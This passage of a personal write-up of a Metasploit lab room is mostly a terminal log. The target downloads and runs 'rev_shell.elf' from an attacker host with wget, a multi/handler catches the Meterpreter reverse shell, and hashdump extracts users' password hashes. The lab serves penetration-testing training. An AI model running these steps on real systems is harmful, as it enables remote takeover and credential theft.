Cannot write to ‘rev_shell.elf’ (Permission denied). $ sudo su [sudo] password for murphy: root@ip-10-10-89-18:/# cd /home root@ip-10-10-89-18:/home# cd /tmp root@ip-10-10-89-18:/tmp# ls systemd-private-0ea197bc09f44febba16b0aa7056381b-systemd-resolved.service-XEI4wQ systemd-private-0ea197bc09f44febba16b0aa7056381b-systemd-timesyncd.service-XVao8J root@ip-10-10-89-18:/tmp# wget http://10.11.81.220:8000/rev_shell.elf --2022-08-24 18:04:35-- http://10.11.81.220:8000/rev_shell.elf Connecting to 10.11.81.220:8000... connected. HTTP request sent, awaiting response... 200 OK Length: 207 [application/octet-stream] Saving to: ‘rev_shell.elf’
rev_shell.elf 100%[===========================>] 207 --.-KB/s in 0s
2022-08-24 18:04:35 (28.0 MB/s) - ‘rev_shell.elf’ saved [207/207]
root@ip-10-10-89-18:/tmp# ls rev_shell.elf systemd-private-0ea197bc09f44febba16b0aa7056381b-systemd-resolved.service-XEI4wQ systemd-private-0ea197bc09f44febba16b0aa7056381b-systemd-timesyncd.service-XVao8J root@ip-10-10-89-18:/tmp# chmod 777 rev_shell.elf root@ip-10-10-89-18:/tmp# ls rev_shell.elf systemd-private-0ea197bc09f44febba16b0aa7056381b-systemd-resolved.service-XEI4wQ systemd-private-0ea197bc09f44febba16b0aa7056381b-systemd-timesyncd.service-XVao8J root@ip-10-10-89-18:/tmp# ./rev_shell.elf (use this after run exploit in msfconsole)
┌──(kali㉿kali)-[~/Downloads/learning_metasploit]
└─$ msfconsole
.;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'. ##########
.0MMMMMMMMMMMMMMMMWc #+# #+#
;0MMMMMMMMMMMMMMMo. +:+
.dNMMMMMMMMMMMMo +#++:++#+
'oOWMMMMMMMMo +:+
.,cdkO0K; :+: :+:
:::::::+:
Metasploit
=[ metasploit v6.1.39-dev ]
+ -- --=[ 2214 exploits - 1171 auxiliary - 396 post ]
+ -- --=[ 616 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
Metasploit tip: Metasploit can be configured at startup, see
msfconsole --help to learn more
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set lhost 10.11.81.220
lhost => 10.11.81.220
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.11.81.220:4444
[*] Sending stage (989032 bytes) to 10.10.89.18
[*] Meterpreter session 1 opened (10.11.81.220:4444 -> 10.10.89.18:50840 ) at 2022-08-24 14:12:25 -0400
meterpreter > hashdump
[-] The "hashdump" command requires the "priv" extension to be loaded (run: `load priv`)
meterpreter > run post/linux/gather/hashdump
[+] murphy:$6$qK0Kt4UO$HuCrlOJGbBJb5Av9SL7rEzbxcz/KZYFkMwUqAE0ZMDpNRmOHhPHeI2JU3m9OBOS7lUKkKMADLxCBcywzIxl7b.:1001:1001::/home/murphy:/bin/sh
[+] claire:$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0:1002:1002::/home/claire:/bin/sh
[+] Unshadowed Password File: /home/kali/.msf4/loot/20220824141322_default_10.10.89.18_linux.hashes_824448.txt
What is the other user's password hash?
Summary
You should now have a better understanding of how Metasploit can help you identify potential vulnerabilities on target systems and exploit these vulnerabilities.
You have also seen how the database feature can help you with penetration testing engagements where you have multiple potential targets. Finally, you should have gained some experience with msfvenom and the creation of stand-alone Meterpreter payloads. This is especially helpful in situations where you can upload a file to the target system or have the ability to download files to the target system. Meterpreter is a powerful tool that offers a lot of easy to use features during the post-exploitation phase. No answer needed
[[John The Ripper]]